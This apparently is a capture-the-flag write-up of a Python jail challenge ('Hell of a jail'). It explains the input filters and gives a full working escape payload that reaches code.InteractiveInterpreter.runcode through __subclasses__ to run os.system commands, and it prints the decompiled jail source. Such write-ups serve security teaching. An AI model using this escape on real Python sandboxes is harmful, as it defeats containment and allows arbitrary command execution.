Description
A guy from FBI found about your Ruby programming activities and has put you inside a python Jail ! Find your way out!ssh -i -p 2222 user@hell-of-a-jail.ctf.insecurity-insa.fr
To find your keyfile, look into your profile on this website.
Category: pwn
Analysis
Once we connect through ssh, we see the following:

So it’s a Python jail. We’re told to call exit
with the right key, if we pass as an argument something random, we get the following error:
>>> exit('a')
Wrong key
The usual Python functions and classes are banned. No int
, ord
, str
, eval
, exec
…
So is the __import__
class and anything related to direct calls to __builtins__
.
There are some banned characters, such as the period (.
), the double underscore (__
) and the double quotes ("
). Besides, each command is limited to 14 characters.
Here we have a GitHub repository with some useful information. Specially, the Python Jails section, which contains some functions that are used in these situations. All of them are banned except for getattr(a, b)
.
Procedure
The general procedure to break free consists in the following steps:
-1. Get an instance of a class. Any will do. {}
is commonly used, which is an object of the dict
class.
-2. Get the reference of that class using the __class__
property.
-3. “Elevate” to the object
class using the __base__
property.
-4. Go down to the __subclasses__()
method, which returns a list with references to all the standard classes of the language.
-5. Create an instance of a class which has some potential. file
is a common one, which lets you, obviously, read any file of the system. However, warning.catch_warnings
is also used, which is more interesting: it has a _module
property that is a reference to the whole module, so it’s possible to get the reference to __builtins__
, import any module, and end the challenge.
However, the procedure above only works on Python 2.7. This challenge was made in Python 3, and neither file
nor warning.catch_warnings
are in the list that __subclasses__()
returns.
Skimming through the list, one class catched my eye: code.InteractiveInterpreter
(last element, index -1). Trying it on local shows a method named runcode
, which behaves exactly like exec
.
At this point it’s clear what we want to do:
{}.__class__.__base__.__subclasses__()[-1]().runcode(something)
However, we don’t have either the period, the double underscore, and we’re limited by 14 chars.
As said in the Analysis section, we have getattr(a, b)
, where a
is an instance, b
is a string, the method returns the reference to a.b
. With this, we have sorted by now the period issue.
The double underscore isn’t a problem, as, in Python, '_' == '_''_'
. And we can manage around the 14 characters limit. It won’t be a problem because a=getattr(c,d)
is exactly 14 bytes long.
So, in a nutshell, what we want to try is the following
{}.__class__.__base__.__subclasses__()[-1]().runcode('import os')
I tried it, and worked. It didn’t print out any error, so the import must had executed. Then I tried os
, but it failed, because the import of runcode
is local. With that in mind, I ran the same code above but changing the last part to:
import os; os.system('ls')
It failed, because of the period following os
. The only thing left to do was to get that dot by any means.
One of the classes shown in __subclasses__()
was bytes
(index 6), so what I ended up doing was, in summary, the following:
{}.__class__.__base__.__subclasses__()[6]([46]).decode('ascii')
Where 46 is the ASCII code for the dot. That way I could append it to the string that I would later pass to runcode
.
This is the payload so far:
# 'a': list of references to global classes. a={} b='_''_class_' b+='_' a=getattr(a,b) b='_''_base_' b+='_' a=getattr(a,b) b='_''_subcla' b+='sses_''_' a=getattr(a,b) a=a() # 'z': string with a dot z=a[6] z=z([46]) y='decode' z=getattr(z,y) z=z('ascii') # Create an instance of 'code.InteractiveInterpreter'. a=a[-1]() b='runcode' a=getattr(a,b) # 'i': bash script to run. i='ls' # 'j': Python code to evaluate. j='import os;' j+='os'+z+'sy' j+='stem(\''+i j+='\')' # Go! a(j)
The result was the following:

Which is quite nice. As it’s a pyc
file, I couldn’t just cat
it, so I prayed for base64
to be in the system, and ran:
cat jail.pyc | base64
It was installed and the file was printed out. I copied it, decoded it, decompiled it, and the source of the challenge was the following:
"""Unobfuscated source for Hell of a jaill.""" import os, sys, code, signal def handler(signum, frame): """Handling SIGSTOP""" pass def user_input(arg): """Filter input.""" s = input('>>> ') s = s[:14] if '"' in s: s = "print('TROLLED !!!!'*1000)" s = s.replace('__', '') s = s.replace('.', '') return s def exit(arg): """Must invoke with the right arg in order to get the flag.""" if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']: print('Oh no ! You managed to escape\nValidate with the key') return sys.exit(0) print('Wrong key') def sandbox(): """PyJail sandbox.""" scope = {'__builtins__': {'exit':exit, 'getattr':getattr, 'print':print}} banner = 'Oh my jail ! You need to exit() with the correct key.\nIt might make you free (and give you the flag)' exit_msg = 'No shell through this...' signal.signal(signal.SIGTSTP, handler) while True: try: code.interact(banner, user_input, scope, exit_msg) except SystemExit: sys.exit(0) sandbox()
So the flag is in that environment variable called 0f4d0db3668dd58cabb9eb409657eaa8
.
I modified my code to print it out, and the flag appeared:

Recent Comments